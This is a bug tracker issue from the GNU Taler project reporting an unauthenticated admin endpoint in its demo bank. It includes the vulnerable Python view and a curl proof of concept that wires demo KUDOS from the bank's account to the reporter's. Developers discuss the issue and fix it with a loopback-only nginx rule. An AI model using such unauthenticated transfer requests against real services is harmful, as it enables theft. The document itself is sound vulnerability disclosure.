View Issue Details

IDProjectCategoryView StatusLast Update
0004561Talerobsolete componentpublic2016-10-11 15:28
ReporterJavantea Assigned ToMarcello Stanisci Resolution deadline
ImplementerReviewer 
Release signed byDeployed by 
VerifierCommunicator 
Data protection authority notification requiredNo  
CSIRT notification requiredNo  
Estimated effort (hours)Actual effort (hours)0 
Fast-trackNo
Work packagenone
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version0.0 
Target Version0.1Fixed in Version0.1 
Summary0004561: Taler Bank unauthenticated interface /admin/add/incoming
DescriptionThe Taler bank is easily susceptible to theft. I robbed the demo bank to prove the concept. I stole 800000009.000008 KUDOS from various accounts. The problem with the bank is that it uses an unauthenticated administration interface /admin/add/incoming to wire money from account to account. Instead of having no authentication, this needs the strongest sort of authentication.

talerbank/app/funds.py:60
@csrf_exempt
def add_incoming(request):
    if request.method != 'POST':
        raise WrongMethod('GET')
    data = json.loads(request.body.decode('utf-8'))
    schemas.validate_incoming_request(data)
    logger.info("add_incoming for debit account %s and credit accout %s", data['debit_account'], data['credit_account'])

    wire_transfer_in_out(data['amount'],
                         data['debit_account'],
                         data['credit_account'],
                         data['wtid'])
    return JsonResponse({'outcome': 'ok'}, status=200)
Steps To ReproduceFind out your account number on https://bank.demo.taler.net/profile
Find out the bank's profile on https://bank.demo.taler.net/public-accounts/details?account=Bank
Your account number goes into the credit account, the bank's account number goes into the debit account like so (my account is 92, the bank is 1):

curl -i -d '{"debit_account":1, "credit_account":92, "amount":{"value":100000001, "fraction":1, "currency":"KUDOS"}, "wtid":"55560010"}' 'https://bank.demo.taler.net/admin/add/incoming'
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Jun 2016 03:05:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; preload

{"outcome": "ok"}

Check https://bank.demo.taler.net/profile and https://bank.demo.taler.net/public-accounts?account=Bank to verify that the transaction went through.
TagsNo tags attached.

Required notifications

Address or linkRemarkAdded byNotifiedActions

Relationships

related to 0004568 closedMarcello Stanisci listen on different socket for administrative interface 

Activities

Christian Grothoff

2016-06-06 09:52

manager   ~0010865

I'm not sure the answer is to add authentication (as otherwise the test-integration with the aggregator will fail).

However, it makes sense to restrict /admin/add/incoming to loopback, which is what we do for the exchange.

Christian Grothoff

2016-06-06 09:54

manager   ~0010866

Also, Javantea, just to be clear: the bank is intended for demonstration-purposes only, as we needed one for the demo. So the security is not really expected to be more than minimal. :)

Marcello Stanisci

2016-06-14 14:44

reporter   ~0010901

that was fixed a while ago with

  location /admin/add/incoming {
    allow 127.0.0.1;
    deny all;
  }

Christian Grothoff

2016-06-14 15:12

manager   ~0010904

Except, of course, this doesn't help with the reverse-proxy setup. So ultimately we'll need to fix 0004568. But sure, this one's resolved.

Issue History

Date ModifiedUsernameFieldChange
2016-06-06 03:26JavanteaNew Issue
2016-06-06 03:26JavanteaStatusnew => assigned
2016-06-06 03:26JavanteaAssigned To => Marcello Stanisci
2016-06-06 09:52Christian GrothoffNote Added: 0010865
2016-06-06 09:54Christian GrothoffNote Added: 0010866
2016-06-06 09:54Christian GrothoffTarget Version => 0.1
2016-06-07 17:31Florian DoldRelationship addedrelated to 0004568
2016-06-14 14:44Marcello StanisciNote Added: 0010901
2016-06-14 14:44Marcello StanisciStatusassigned => informing
2016-06-14 14:44Marcello StanisciResolutionopen => fixed
2016-06-14 15:12Christian GrothoffNote Added: 0010904
2016-06-14 15:12Christian GrothoffFixed in Version => 0.1
2016-10-11 15:28Christian GrothoffStatusinforming => closed
2022-08-23 18:26Christian GrothoffCategorybank (demonstrator) => py bank (demonstrator, obsolete)
2023-12-03 00:23Christian GrothoffCategorypy bank (demonstrator, obsolete) => obsolete componet
2023-12-11 19:08Florian DoldCategoryobsolete componet => obsolete component